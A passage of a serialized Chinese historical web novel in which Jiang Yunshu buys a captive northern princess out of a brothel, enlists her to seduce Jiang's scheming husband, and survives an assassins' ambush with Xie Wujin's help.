南疆女子多是拍卖而来,而花楼拍卖得来的姑娘,又多是遭了难的富户小姐或犯了事的官员千金。 她们自小家中礼仪教导,更是琴棋书画样样精通,这样的姑娘,开苞之夜往往是要竞价高者得。 姜云舒和月禾来之前,便打听过万宝楼的规矩,当下便明白了梅三娘的意思。 “京城之地,梅三娘是担心我坏了你的规矩,还是担心我给不起银子?” 姜云舒眼睛微眯,她不着痕迹的避开凑上来的姑娘,摆摆手,露出拇指上的玉扳指。 细腻的籽料白玉,温润油光,别人或许看不出其中妙处,梅三娘却是一眼辨别,含笑的眼中瞬间多了几分惊讶。 “哎哟,公子这话可是打奴家的脸了。” 梅三娘紧忙赔笑,索性也不遮掩了,“我实话跟您说了吧,这南疆女子我的确收了,可其中一人脸上有伤,怕惊扰了您。” “老板这是拿我们当没见过世面的了,脸上有伤如何,我倒要看看,一个姑娘能有多可怖!” 月禾冷冷一声,说罢,又往梅三娘手里放了一个银元宝。 梅三娘眼睛又亮了,虽说南疆女子貌美,很受京城富家哥儿们的追捧,可眼下这个毕竟有损伤,陪一桌酒百两银子也就到头了,这不还没打赏嘛! “既如此,那我便命姑娘们装扮了,过来侍奉二位。” 梅三娘笑眼弯起,她命人去布置,她则晃着手中团扇将姜云舒与月禾带上三楼雅间。 从方才谈话,她便一直在审视姜云舒,然而,依旧看不出她的来路,不过出手便是两个元宝,这位的消费,必定得上三楼。 姜云舒和月禾一边走着,视线亦在四处观望,行至三楼雅间,正欲进门,却见对面雅间一人影晃入视线——谢无烬! 他身着幻紫长袍,身边两个身段妖娆,模样娇媚的姑娘陪着,又是拿水果又是倒酒,他手中捻着一只暖玉酒杯,面上带着满足的笑容。 “那不是谢世子?”月禾凑近姜云舒身边,压低了声音。 万宝楼是三皇子的产业,而在身侧侍奉的女子,笑容里明显带着恭维,难不成,他是三皇子的人? 姜云舒蹙眉,此刻,谢无烬也刚好抬头,两人视线撞在一起,谢无烬面上神情一滞,低头在身侧女子耳边说了什么。 那女子应声朝姜云舒的方向看来,随即从谢无烬身侧离开。 等人关上房门,谢无烬朝姜云舒招招手。 “小姐,谢世子似乎是要我们过去。”月禾道。 姜云舒自然明白,可不知为何,方才看到他身侧偎着那两位姑娘,便莫名多了几分排斥。 “没空。” 姜云舒转身进了她们自己的雅间。 第128章 吃醋的立场 梅三娘是会做生意的,特意给姜云舒这雅间里安排了两位身段模样都出挑的姑娘。 一进门,两个姑娘便各自分了任务,一个往姜云舒这边,一个朝月禾身边。 “公子,奴家给您斟酒。” 红衣女子提前到姜云舒跟前,说话间,身体有意无意地蹭着她。 姜云舒习惯与人勾颈摔打,却不习惯如今这样轻搔地贴着身体,下意识往旁侧挪了挪。 “你们可会弹琴?”她问。 “自然是会的。” 黄衣姑娘紧忙将随身带过来的琴拿出来,纤纤玉指搭于琴弦之上。 姜云舒又扭头看红衣女子,朝中间指了指,“你去跳舞。” 红衣姑娘贴过来的身体一僵,正要说什么,见月禾瞪着她,当时只觉一股凉意自脊背爬上来,来不及多想,紧忙应声跳舞。 姜云舒与月禾交换一个眼神,正准备松一口气,就听得敲门声,门开,竟是谢无烬找了过来。 “这里没你们的事了,先下去吧。”谢无烬往里走,将两个元宝放在桌上。 两位姑娘朝姜云舒看一眼,见姜云舒没拦着,紧忙拿了银子往外走。 “你来做什么?”姜云舒眼皮都没抬。 “自然是来找你。”谢无烬径自坐在姜云舒对面,“方才叫你过去,怎的不理我?” “方才看谢世子玩儿得正开心,不便打扰!”姜云舒低头抿一口茶,言语不咸不淡。 谢无烬自顾倒了一杯酒,酒杯在唇畔抵着,含笑看她。 “难不成,你是在吃醋?” “我为什么要吃醋?”姜云舒这回抬头看他,郑重道:“我没有吃醋的立场。” 两人不过是合作的关系,连交心都不算,吃什么醋? 然而,她这语气,却是让谢无烬唇畔的笑意更甚。 “我给你吃醋的立场呢?” “谢世子怕是没明白,吃醋这种事情的前提是我对你有意思,这立场不是你给的,主导权在我。”姜云舒歪了歪头,那意思,你说了没用。 谢无烬顿了一下,恍然,“所以,你拦截尚品堂的药材,处处与那高芝兰为难,是因为吃醋,沈清安值得你吃醋?” “呵!”姜云舒略显无语,“谢世子似乎对沈清安尤为关心,怎么,世子这是看上沈清安了?” 这回,轮到谢无烬愣住了。 姜云舒迎着他震惊的视线,同样勾了勾唇角,“说起来,沈清安的确有几分姿色,想来是将世子养的男宠比下去了呢。” “男宠?”谢无烬视线拧着,唇角不自觉抽了一下。 被传杀神,被传屠城,被传吃人,这也就算了,怎么的如今都传他养男宠了? 看来,他那位好弟弟为了抹黑他,可真是什么谣言都敢散布啊! “你这话听起来,似乎带着一股酸味。” 谢无烬面上惊讶收敛,依旧挑着眉梢,含笑看着姜云舒,“本世子为什么对沈清安上心,你不清楚?” 几次三番的试探靠近,姜云舒自然清楚他的心思,可究竟藏于这份心思之内的是不是还有报复的成分,她说不准。 “谢世子的心思千转百回,我可猜不透。” 姜云舒轻笑着看他。 两人说话也不挑明,就这样对视须臾,谢无烬仰起头,似是无奈的哼笑一声。 “罢了,本世子既这般不招县主待见,便不在你面前碍眼了,不过,这里终究是男人玩乐的场所,县主还是尽早离开为妙,否则,到了晚上,可不好脱身。” 说完,转身往外走。 等人离开,月禾蹙起眉头,开口,“这谢世子怎么总神神秘秘的?晚上又如何,天子脚下,难不成这万宝楼还能吃人?” 姜云舒一时也没揣测明白,万宝楼自然不能吃人,但谢无烬口中的提醒,从来不会空穴来风。 “毕竟是三皇子的地界,我们还是谨慎为妙。”姜云舒提醒道。 一炷香的时间后。 姜云舒和月禾一壶醇酒喝完,待舞的南疆姑娘还没过来。 “怎么还不来,该不会看咱们是新面孔,欺客吧?”月禾皱起眉头。 “毕竟是京城第一花楼,万宝楼能开到如今这地步,也不尽然全是凭借三皇子的势,自是不屑欺客这般低劣手段。” 姜云舒是早料到如今这般境况,她不紧不慢,说完,微微扬首,饮下杯中醇酒。 “不过,我们也等了有些时候,总得知道知道给出去的银子卡在了哪里。” 说话间,她起身往外走,刚到门口,便有随侍的丫鬟迎过来。 “哎哟,客官……” “带我们去找梅三娘。” 姜云舒打断丫鬟,直截了当,“我虽是新客,你也不用拖延时间带我四处闲逛,直接去你们管教新人的地方。” 这么长时间没能将人带过来,定是那姑娘反抗激烈,这倒是让姜云舒对等会儿要见的人更多了几分期待。 丫鬟心思被看穿,只能带姜云舒去后院,不过去的路上,她给龟奴使了眼色,让提前报信。 姜云舒自是察觉到了,她并不在意,只跟着往前走,片刻功夫,便到了后院的杂物间。 “贱人,客人点你那是你的福分,如今到了这里,你还当你是那高门贵女呢!” 梅三娘的声音似是带着怒意,她话音刚落,便听得皮鞭打在肉身的声音,还有一声压抑的惨叫。 “妈妈,客人过来了。” 这时,丫鬟抬高了声音通报。 很快杂物间门打开,梅三娘见到姜云舒时,脸上的诧异自然得叫人挑不出一丝毛病。 “哎哟,贵客,是我办事不周,这小贱人性子太烈,要不,您过几日再来,等我将她打服,届时您想看什么,便叫她跳什么。”梅三娘赔笑。 “说来也巧,我家做的是马匹生意,最擅长的便是驯马,马越烈越能提起我的征服欲。” 姜云舒一边说着往里走,刚进门,便瞧衣服上都是血印子的女人躺在柴火堆里。 原是尊贵之人,一旦落魄,便是连人都做不成。 “不如,将她交给我?”姜云舒眯起眼睛,似是有危险散开。 这般气场,饶是见多识广的梅三娘都莫名感觉一股子寒凉自后脊往上蔓。 第129章 北夷公主,姬珑 “这位贵客,您是知道的,南疆姑娘向来难得,我们……” “方才你也说了,她面上带伤,本也卖不出高价,一千两,人我带走,自此生死与你无关。”姜云舒语调下沉,隐约之间竟让梅三娘听出了一丝威胁的味道。 这人这是要给一个残品赎身? 不尽然。 他是花钱买回一个用来施虐的物件吧。 京城贵族,各有癖好,其中也不乏极尽变态以残暴施虐为乐之人。 啧啧,原来这位便是有那种癖好的么? 真真是可惜了那张好看的脸。 梅三娘犹豫,却见月禾朝她晃了晃手里的银票,“咱们出来谈谈?” 银钱可教鬼神显灵,梅三娘开门做生意,自是不会跟银子过不去。 “那公子便随我去雅室详说。” 梅三娘带着姜云舒往雅室去,不经意间,视线朝三楼瞥一眼。 一炷香后,马车自万宝楼离开。 马车围城绕了几圈,确定没有可疑之人跟着,随后驶入海棠巷。 裹着席子的人被人从马车里抬出来,放置在了床上,冥风便迅速带人离开。 姜云舒进了屋,让月禾开窗,正午的阳光自窗户照进来,仿若万道光芒散尽阴霾。 许是阳光太过强烈,席子里的女人眯起眼睛。 “你若强迫,我便是死……” 她的话刚出口又突然顿住,随即瞪大眼睛看着眼前的“男人”将粘在唇间的假胡子撕了下来。 “姬珑公主,久仰大名。”姜云舒开口。 姬珑的眼中的震惊陡然炸开,脸上那道疤几乎要撕裂。 “你,你是什么人?”她愕然惊叹,却对眼前之人没有任何印象。 “别害怕,我不会伤害你。” 姜云舒说着,将捆着姬珑的席子打开,目光触及她被血侵染透了的衣服,伸手,月禾便将金疮药递了过来。 姬珑瞧着姜云舒手中药瓶,眼底光芒闪过。 “你是定国将军府的人?” 她认得那药,是定国将军府的独有的特效金疮药。 “嗯,定国老将军是我父亲。” 姜云舒亦不隐瞒,她将金疮药递到姬珑手上,“你是北夷三皇子身边最得力之人,想来也知道三年前我父兄与你皇兄之间往来之事,我救你于水火,只希望你能如实相告。” 当年定国将军府被举报通敌,通的便是北夷三皇子,而姬珑是北夷四公主,北夷三皇子一母同胞的妹妹,更是他的谋士之一。 姬珑拿着金疮药的手轻颤,她犹豫着,却迟迟没有开口。 姜云舒也不紧逼,换了一个问题,“那说说,你为什么会被赶出北夷?” 冥风去北域调查时,机缘巧合偶遇被装在囚笼中准备运往京城的舞姬,他认出了其中的姬珑。 姜云舒本不是什么菩萨心肠之人,可偏偏姬珑与北夷三皇子关系匪浅,便派人一路跟着,她没有直接将人救回来,一是为了不打草惊蛇,二则是因为那时时机不到。 如今,便是最好的时机。 提及自身,姬珑瞬间红了眼眶,似是有无边的恨意随之涌出。 “你大概也听说了,两年前,我父皇病重。是三皇兄衣不解带亲自侍疾,可就在父皇驾崩之际,二皇兄突然率兵入宫,以弑君罪名扣押了三皇兄……定国将军府通敌证据确凿被流放,而三皇兄却在连证据都没有的情况下,被血洗了王府,便是母妃也未曾幸免于难。” 她握着药瓶的手逐渐用力,关节处微微泛白,她压制着情绪,缓了好一会儿,才又抬起头。 “你大概不知道,二皇兄有多可怕……他没有杀我,而是将我送到了他要笼络的朝臣府上,我杀了那个狗官,逃往边境……” 在之后,她越发哽咽,话也说得断断续续,但后续姜云舒都知道。 姬珑是偷偷过边境被抓的,与那些被拍卖的罪臣女眷一起,送往了瑞国。 姜云舒看着她,深吸一口气,又问:“所以,三皇子与我定国将军府,到底有没有交易?” “有。” 姬珑回答得斩钉截铁,停顿片刻,又补充道:“当年我们得到消息,二皇兄蓄意谋反,我得知三皇兄与你父亲有往来时,我们营中多了大量兵器,得益于这些兵器,三皇兄压制了二皇兄,使得他未能动兵。” 她停顿片刻,长叹一口气,“可三皇兄终究是心太软了。” 既要争夺皇权,心软终究不能成事。 亲耳听到有关兵器倒卖的事实,姜云舒心口似是被什么压住,沉闷又压抑。 虽知道北夷三皇子仁爱主和,可那终究是北夷的国事,父亲向来看得深远,如何不能明白这会给定国将军府招来何种祸患? 他究竟是为了什么? 姜云舒想不明白,索性暂时不再想,她看着姬珑,北夷女子独有的性感美艳,却因她脸上的一道伤痕,凭空撕裂了这美感。 “如今我的身份和目的已如实告知,姬珑公主何不坦诚相见?”她说话时,盯着姬珑脸上的伤疤。 姬珑一滞,抬头与姜云舒的视线对上,瞬间明白了她的意思。 那道疤。 “一路上,我为自保用这道疤骗过了无数人,你如何能一眼看出?”她不解。 “难道你不应该更加疑惑,我为何在你刚到京城便找了过来吗?我本女子,对南疆女子可没有什么执着。”姜云舒勾起唇角。 姬珑到底是堪称谋士的,瞬间便明白过来,眼中惊诧更甚。 “是你,一路上护着我的,是你的人?” 惊讶之下,她不知从哪里摸出一个细长的小瓶,将瓶内药剂倒在脸上的疤痕处,很快,那块皮肉竟开始褶皱,最终剥落,露出她原本精美绝伦的相貌。 其实姬珑是北夷人,她能混入南疆舞姬之中不被察觉,得益于她的母妃是南疆美人,容貌优势在姬珑这张脸上表现得淋漓尽致。 南疆出美女,自边境到京城,这些南疆舞姬经过数道转手,其中不乏对他们垂涎欲滴之人,姬珑容貌更是其中最为惹眼的,同样也是最容易被盯上的。 这一路,她遇到了无数险境,每每都有人帮她化险为夷,她早有怀疑,甚至猜测是三皇兄暗中为她安排的隐卫,却未曾想竟是未曾谋面的姜云舒。 姜云舒轻笑,算是默认了她的猜测。 “所以,你这般大费周章,应该不只是向我确认这几个问题吧?”姬珑激动之余,又很理智地理清了思路。 又是派护卫,又是亲自到万宝楼赎身,姜云舒这般铺垫未免太过细致。 第130章 勾引我的夫君 “自是另有目的。” 姜云舒也不绕弯子,“我想请你帮我,勾引我的夫君,大瑞朝五品光禄寺少卿沈清安。” “什么?”姬珑公主再次震惊,“你让我勾引你的夫君?” 两国边境只是一河相隔,定国将军府的喜事难免入耳,更何况,当年三皇兄与定国将军府尚有往来,便是姜云舒出阁留在京城,他们也是知道的。 早就听说定国将军府这独女自小心性高,便是嫁人,夫家承诺的也是一生一世一双人,她竟让别的女人去勾引自己的夫君? “世态炎凉,想来没有人比姬珑公主更能共情这四个字的含义,你我都逃不开。” 姜云舒脸上笑容敛去,晶亮的眸中骤然多了几分幽沉,“姬珑公主尚能杀了想要欺侮你的狗官逃出边境,我又如何不为自己打算呢?” 她的话,精准地戳中了姬珑的心窝子。 自三皇兄与母妃离世,她所受屈辱和落魄,如同利刃般一刀一刀凌迟着她的自尊,威胁着她的性命,她咬牙逃离,做梦都想报仇。 更何况出身武将世家的姜云舒呢。 “你信我?”姬珑问。 凭她的相貌与谋划,别说京城区区五品官员,便是皇子王爷,只要有机会到他们跟前,她就有那个自信上位。 姜云舒看着她,唇角微勾,“除了我,你没有更好的选择,至少,我不会把你踩进泥里,而你,如今也只相信我,因为,我是定国将军府的人。” 姜云舒并不了解当年爹爹和北夷三皇子之间究竟是何种关联,但方才姬珑认出姜云舒身份时,眼神除了惊喜,还有一抹不易察觉的松懈。 “定国将军府”这三个字让她放松警惕,这一点很重要。 姬珑似是想反驳,可思量半晌最终也不得不承认,自己被姜云舒拿捏住了。 “女子生存本不易,你却能如此洒脱肆意。”她忍不住感叹,“你若是男子,功绩或可比你两位兄长都要卓越。” 三皇兄在时,她是凤毛麟角的女谋士,不管是眼界还是心思都比常人高出一层,本身优秀的人,慕强心理更盛,同样身为女子,一番交谈之后,她对姜云舒便多了一层钦佩。 姜云舒摇摇头,勾起的唇角似是多了一丝苦涩,“你说错了,正因为有两位兄长护着,我才能肆意洒脱,无法无天。” 同样自小被兄长疼护,姬珑自是能明白姜云舒,她莞尔,问:“所以,你准备让我以何种身份接近沈清安?” 聪明人,一点即透,姜云舒喜欢和姬珑这样聪明的人打交道。 姜云舒将沈清安攀附骗婚之事与姬珑细细说了一遍。 “他既想攀附权贵,那我便精心给他搭一座通往西天的桥梁。”姜云舒看向姬珑,“我要你以南疆王府郡主乐无忧的身份出现在沈清安面前。” 姜云舒给姬珑设定的戏本是,南疆王府郡主不满父母定下的亲事,离家出走来了京城,毕竟是离家出走,“乐无忧”要隐瞒自己的身份,还要在沈清安面前不经意间透露自己的身份,让他认定她这个“郡主”是可以攀附的高枝。 这剧情看起来没什么问题,可沈清安能骗婚,自然也不是傻子。 “他能信我?”姬珑质疑,“南疆王府毕竟是王侯门第,沈清安只需派人调查便能一探虚实。” 如今她取下刻意贴在脸上的鱼皮贴,相貌变化无人能认出,只要不是北夷皇室之人出现,几乎不会出现身份泄露的风险,可她又如何能向沈清安证明自己便是那南疆王府的郡主? “我既给了你身份,自会协助你坐实,至于南疆王府,如今南疆边境多有骚动,南疆王府短时不会回京,待沈清安求证之前,我自会安排你功成身退。” 姜云舒一边说着,将提前准备好的一些银票放在她面前。 “过几日,我会请嬷嬷来教你南疆王府的规矩,你本是公主,宫规礼仪自不在话下,与沈清安碰面之前,你便住在这里,这里是五千两,你每日出去吃吃喝喝买东西,尽快让周围人记住你这张脸。” 她给的银票,是提前叫人从南疆钱庄取好的,上面刻着南疆钱庄的大印,这便是透露给沈清安的第一个信息点。 “你倒真是不怕我拿了银子跑了。”姬珑睨着眼前的银票,忍不住轻笑。 “无妨,你顶着这张脸,若真能在如今世道独自生存,跑了便跑了,五千两而已,就当我怜惜你。”姜云舒唇畔勾起笑意。 姬珑聪明才智丝毫不逊色男子,可她偏偏是女子,加之自小身子孱弱,亦未曾习武,孤身一人尤为艰难。 “我竟到了这般力不从心的境地。”姬珑无奈轻笑。 都被她看穿了。 “你既保我功成身退,我又如何不能陪你演一场好戏?” 夕阳西落,晚霞映日。 姜云舒安置好姬珑,自长亭街小巷出来,绕了两条街才看到沈府的马车。 避人耳目,她向来擅长。 随着马鞭扬起,骏马一声嘶鸣,朝着沈府的方向奔去。 姜云舒似有疲惫,倚在软垫上闭目养神。 京城之下,便是城内也要一个时辰的车程,马车晃晃悠悠行驶平稳,刚绕过护城河,却见她闭着的眼睛骤然睁开。 “小姐!” 月禾亦是全身戒备,一手握住腰间软剑,护在姜云舒身边。 “一共八人,皆是高手。”姜云舒竖耳听着马车外动静,眼底闪过戾色。 他们身上的杀伐气息太重,自是地痞恶霸所不能及。 这次,怕是有麻烦了。 “我们分头从马车出去,你给冥风发求救信号。” 姜云舒与月禾交换一个眼神,下一瞬,飞箭离弦的声音擦过耳边,乱箭便朝着马车飞了过来。 “走!” 姜云舒大喝一声,两人自马车两侧窗户飞身而出。 兵器碰撞的尖锐声音撕裂破庙周边的寂静,血腥味快速蔓延开来。 车夫被射成筛子,摔下马车。 乱箭飞来的瞬间,他甚至都来不及一声惨叫直接闭了气,便是拉车的马匹亦是拖行百米之后,轰然倒地。 装潢华丽的马车,眨眼的功夫便如同扎满了糖葫芦的草把子。 “定国将军府独女,姜云舒,有人要买你的命,你若乖乖赴死,自能免受痛苦。” 黑夜之中,那声音鬼魅似来自阴曹,随后几个黑衣人腾空而起,落于破庙墙上。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第131章 哥,她骂咱 姜云舒仰头,看向破庙墙上站着的黑衣人,黑夜之中,他们手中常见闪着凛凛寒光。 “一二三四五六七八,我们区区两个女子,竟值得八位高手合力围剿,你们的主子当真是看得起我们。” 日头已经彻底沉落,黑暗吞噬了那天边的晚霞,夜风自破庙之间呼啸,更添了一丝沉闷的死气。 黑衣人立于破庙墙上,纹丝未动,亦无人开口。 月禾没姜云舒那般沉得住气,当家扬着手中长剑直指中间那位。 “八个打一个,还要不要脸了,来来来,报上你家名号,看姑奶奶不捅了你们的老巢!” 一阵风吹过,有人动了动。 “哥,她骂咱。” 突然有人开口,听声音,年纪不大。 黑衣人偏了偏头,天太黑,瞧不见他的表情,但说话那人似乎缩了一下。 “负隅顽抗,两位既敬酒不吃,那便莫怪我等下手无情。” 话音落,黑衣人手中剑刃寒光闪过,齐齐朝着姜云舒与月禾而来,霎时,众人缠斗一起。 姜云舒与月禾三岁开始拿剑,十三岁便身披铠甲随父兄战场杀敌,多人战于她们本不算艰难,可如今面对的是高手,他们训练有素,招招致命,便是她们全力抵抗,依旧免不了被步步逼退。 杀手,他们是杀手。 此时他们所用杀招,一如两月之前,截杀六皇子的那帮人很像。 又是三皇子? 此时,眼前杀手出招狠厉,找找要命,姜云舒没时间多想,只能全身心应付。 “小姐,情况不妙,我拖住他们,你快走。”月禾一剑挑开杀手,艰难开口。 姜云舒未答,却听杀手一声冷笑。 “杀了我们的人,你们一个都走不了。”说话间,长剑迎面而来。 月禾眸光一凛,快步上前,抬手抵挡。 姜云舒是他们的目标,剩下的四个杀手齐齐将她围了起来。 月夜之下,刀剑寒光闪烁,血腥味弥漫。 缠斗之下,杀手死了两个,重伤两个,姜云舒与月禾也挂了伤,被剩下的四个杀手围堵在了一起。 “定国将军府独女,也不过如此。” 杀手首领面向姜云舒,那双幽暗的眼睛泛着嗜血的光芒。 姜云舒左臂被刺伤,血渗透衣衫,染红一片,她拧着眉,额间一片密密的细汗。 “你既知道我是定国将军府的人,那便应该清楚,我姜家人便是死,也要拉上敌军垫背!” 她受伤的手背猛然抬起,一只黑色的雷管出现在她手中。 “五雷轰,你应该听说过吧,它若引炸,你们一个都跑不了!” 说话间,她的手已经拉在了引线之上。 杀手见状下意识要退,却见那首领长剑一甩,直接抵在了最先退的杀手胸口。 “任务不成,你们以为能有活路?”侍卫手里声音阴森,不等众人反应,快剑朝姜云舒心口刺来。 姜云舒眸光一凛,当家准备拉动引线,忽然眼神人影快速晃过,待她定神,却见一人已经与那杀手首领打在了一起。 是卫临风! 谢无烬来了! 正想着,眼前又一黑影闪过,紧接着姜云舒腰间一紧,扭头,谢无烬那张丰神俊朗的脸在黑夜之中带着一股凛冽。 “受伤了?” 谢无烬看到姜云舒手臂上的伤口,眼底倏然添了一层阴翳,伸手去抓姜云舒的手臂,却被她一把甩开。 “死不了,先把他们解决了再说。” 说完,姜云舒转向一旁,“月禾,别愣!” 一声冷喝,她提剑挡下趁机出手的杀手。 月禾也回神,咬牙忍着手臂上的疼痛,再次向杀手迎了过去。 大概是因为来了救兵看到生的希望,姜云舒与月禾的招式再次凌厉。 战场厮杀,亦是招招要命,杀手被逼急了,如野狗翻墙,不要命地反扑,一时间,双方僵持住。 不得不承认,那杀手首领能做领队,的确比其他人强了一个等级,谢无烬与之缠斗几十招,竟只在他脖颈处留下一道划痕。 不过,这人光有实力还不够,还得有运气,就在双方实力相当之际,冥风终于到了。 “你再晚点,便只能给小姐和我收尸了!”月禾没好气朝他喊一句。 冥风未接话,一声令下,侍卫队便朝杀手冲了过去。 喊杀声再起,只是如今身份调换,是群杀手被围着打。 姜云舒与月禾终于松一口气,两人扭头,却见谢无烬正蹲在一个死了的杀手跟前。 “谢世子,你在看什么?”月禾低头也看,但是没看出什么。 谢无烬未回答,只伸手掰过那杀手的头,扯开后领,那人后颈之下便现出一个黑色的狼头标志。 “又是孤狼?” 月禾惊呼出声。 谢无烬没回答,扭头朝姜云舒挑了挑眉,“可有看出什么差别?” 姜云舒闻言,视线凝在那狼头上,随机眉心蹙起。 “之前在万踪林看到的狼头标志是有獠牙的,这人后颈的狼头却没有……” 她似是一下子想到什么,看向谢无烬,“万踪林那些死士,是在模仿孤狼,亦或者说,一旦起事,便嫁祸到孤狼身上?” “有这种可能。” 谢无烬起身,抬手抓住姜云舒的手臂,随即朝卫临风看一眼,卫临风紧忙将金疮药递过来。 姜云舒原本要抽回手臂,却见他小心的拉开她胳膊上被划破的布料,将药粉小心翼翼的倒在伤口上,然后又小心翼翼的包扎。 姜云舒一时愣住,视线盯着谢无烬为她包扎的手。 不得不承认,谢无烬这双手是他见过最修长白皙,骨节分明的手,即便常年持枪拿剑,关节上带着老茧,依旧不影响这双手的美观。 “好了,这瓶药你带回去,不会留疤。” 谢无烬将剩下的药递给月禾,却没有放开姜云舒的手臂,“都提醒尽早回去,怎的不听?” 姜云舒愣住,随即回过神来,将手抽回来。 “下次谢世子若好心提醒,麻烦将事情说得明白些。”她没好气地翻了翻眼皮。 在万宝楼那种地方提醒他们早些回去,谁能想到会是被杀手盯上了? “所以,谢世子今日去万宝楼究竟所为何事?”她又问。 第132章 你就劳烦劳烦我呗 谢无烬手上一空,看着姜云舒,略显不满地叹口气。 “近日,北域来的一批陨铁自水路到了京城,之后便被隐藏起来,今日我以随从的身份跟随江湖朋友去万宝楼谈生意,谈的便是陨铁。” 他在跟姜云舒解释。 姜云舒本也并不在意,只听到“陨铁”两个字,神情突然冷峻。 谢无烬瞧她这反应,自是满意,便接着说:“听说北域陨铁矿专属定国军,如今陨铁流出,不知是新上任的都统太过嚣张,还是定国军中内鬼忍不住平静,开始自己浮出水面。” 老将军与北夷三皇子书信往来被翻出时,姜云舒便认定定国将军府出了内鬼,只是那人隐藏极深,她派人查了两年,有价值的消息却不多。 如今“内鬼”这个词从谢无烬口中说出,她内心没有波动是不可能的。 一瞬间,无数想法自脑中闪过,姜云舒外头看向谢无烬。 “所以,你还查到了什么?” “那可多了!” 谢无烬又来了精神,月禾刚给他包扎好,他便一手撑着地面坐起,往姜云舒跟前凑过来。 “告诉你的话,可有什么好处?” “我自己的事情,自己会调查,就不劳烦谢世子了。” 姜云舒瞥他一眼,说着起身,却不想,被他一手拽住胳膊。 “你就劳烦劳烦我呗~” 他抓着姜云舒的手晃了晃。 姜云舒垂眸瞧了一眼自己手臂上的手,挑眉,“那你给我什么好处?” 啧! 这话听得卫临风和卫临冲两兄弟直嘬牙花子。 给你分享情报还得给你好处? 真是活久见,这年头,还有人能讹他家主子? 两人正震惊,却见自家主子非但没生气,还巴巴地凑了过去。 “我教你驾驭黑鹰,如何?”他眨眨眼睛。 两人嘴角又是一抽。 且不说跟了主子十几年的黑鹰,他说送人就送人,如今还要手把手教训鹰? 两人的视线往姜云舒身上扫过,虽说这姜姑娘的确漂亮,可他家世子向来没对哪个姑娘多看过一眼! 这咋说变就变? 兄弟两人正逐渐在崩溃,却见姜云舒听到世子教她训鹰时,眼睛明显亮了。 “那行!” “那你要来渊政王府训练。”谢无烬又说。 姜云舒蹙眉衡量了瞬间,应了。 管他在哪里呢,若是能驾驭黑鹰帮她做事,那可是帮了大忙。 回到沈家,天色已经擦黑。 姜云舒和月禾下了马车,往揽芳院去,一路上,并没有感觉出低沉的气氛。 白天刚坑了沈清安万两银子,他回来竟没有发火? 两人正疑惑,结果到了揽芳院,就见沈清安正坐在屋内喝茶等她,面上神情平静,眉头都未皱一下。 “夫人,您回来了。” 白芷见姜云舒和月禾回来,紧忙迎上去。 沈清安听得声音,也起身。 “可是清风村事务繁忙,怎的这样晚才回来?” 说着话,他伸手去拉姜云舒的手。 姜云舒一时躲避不及,被他拉住手的瞬间扯到伤口,当即皱起了眉头。 回来时,已经在马车上换了衣服,身上用了香粉遮住血腥味,沈清安不知道她受了伤,只当是不愿与他触碰,一时间略显尴尬地收回手。 “沈大人此时过来,可有什么事儿吗?”姜云舒先开口。 “就是来看看你。” 沈清安抬手给姜云舒倒了一杯茶。 姜云舒没喝茶,只看着他。 沈清安似是做了很久的心理建设才开口。 “你也知道,锦州水患,皇上命我草拟堤坝修筑图,如今我处于瓶颈,想到你自娘家带了许多书籍,其中似乎有工部修筑典籍,或许可借我翻看一二。” 姜云舒眼皮动了一下,这才明白,今晚的平静原来是有原因的。 皇上给沈清安限了日子,如今日期临近,他若还拿不出堤坝修筑的图纸,定然要被降罪。 在外奔波三年回来没能升官,如今一招不成说不定就要贬职,真是可怜啊! 可连之人必有可恨之处! 姜云舒勾着唇角,扯出一抹不怎么走心的笑。 “工部修筑典籍乃公务之用,并未在我嫁妆之中,我嫁妆里带来的是一些兵书,也是因为思念父兄留个念想。” 说着,她抬起头,“沈大人能将岩城水患治理好,相信锦州也不在话下!” 精神上给你支持。 沈清安嘴角狠狠地扯了一下。 她这是敷衍! 她自己不知道岩城水患得以控制,是因为她父兄参与吗! 他不由自主的攥起拳头,心口一股怒火突突地撞击胸口,可又不能在这个时候真和姜云舒撕破脸皮。 正压制火气,就见姜云舒伸着腰打了哈欠。 “你累了,那便早些歇着。”沈清安提醒。 “哦,多谢大人体恤,那我就不送你了。” 姜云舒说着,转身坐在铜镜面前,就准备让月禾过来洗漱。 沈清安楞了一下,随即不满地蹙起眉。 她什么意思?这是又往外赶人? “你是我妻,岂有将我往外赶的?”他咬着牙。 姜云舒没转身,只从铜镜之中,将他那压制怒意的表情收于眼底。 “大人也知道,我最近很累,侍奉不了,要不,大人去汀兰院?” 还想着让她侍奉?侍奉他二大爷哦。 这明话的拒绝让沈清安顿时黑了脸。 高氏尚且不能下床,他过去了,谁侍奉谁? 他堵着一口气,可看到姜云舒一个哈欠连着一个哈欠,也的确没了心思,蹙眉之下,转身离开。 须臾几日。 沈清安又来过几次汀兰院,他倒也不白来,每次都带着东西,看样子是想哄姜云舒。 第一日他乐呵呵的,第二日他没有翻脸,第三日他拂袖而去,第四日,他便不来了。 倒不是因为心疼那点银子,而是他遇上了姬珑。 姬珑本是皇室女,因着母妃原也是南疆人的关系,南疆王府的规矩,她学起来很快。 这日,姬珑收到冥风的指令,黄昏时分沈清安会去皇陵,姜云舒安排她在沈清安的必经之路上做祭奠。 晚霞映照,孤鹜齐飞。 姬珑,哦,此刻应该是南疆王府郡主乐无忧。 乐无忧带着丫鬟自皇陵之外,官道不远处的的河边烧纸钱祭祀。 “皇奶奶,你如何不能等我几日,我一路换了三匹马,都没赶上见您最后一面……” “无忧幼时得您疼爱,却未能在您膝下尽孝,您会不会怪我呀。” 夕阳之下,映红了这一片清河,也正是此刻安静,乐无忧的声音格外清晰。 此刻,沈家的轿子刚好路过,沈清安便在夕阳晚霞的美景中,看到一佳人跪在河边,伤心落泪。 第133章 极致,相互试探 “子固,去看看。”沈清安吩咐一声。 子固招呼着轿夫靠近,“宫内”“祥瑞宫”“王府”几个字眼,精准地落入沈清安耳中。 沈清安思量瞬间,眼中似有光芒闪过,紧忙让子固扶了他过去。 “姑娘,如今天色已晚,城郊之外多灾民聚集,不慎安全,还是早些回去为好。”沈清安试探开口。 乐无忧侧身,目光触及沈清安身上官袍,似是思量瞬息才开口。 “你是谁?”她看着沈清安,没有百姓见官时要行礼的意思。 “这位是光禄寺少卿,沈大人!”子固先一步开口。 乐无忧又看了沈清安一眼,恍然,“哦,我知道你,岩城治理水患那位,短短三年便控制住灾情,还修建了堤坝,真真是厉害呢!” 沈清安没想到眼前这小姑娘能认识自己,自是不免多了几分得意,而她得知他的身份,眼中除了欣赏却未有任何变化。 当然,以他探花郎的长相,很多人见他第一面时,都会有这样的欣赏。 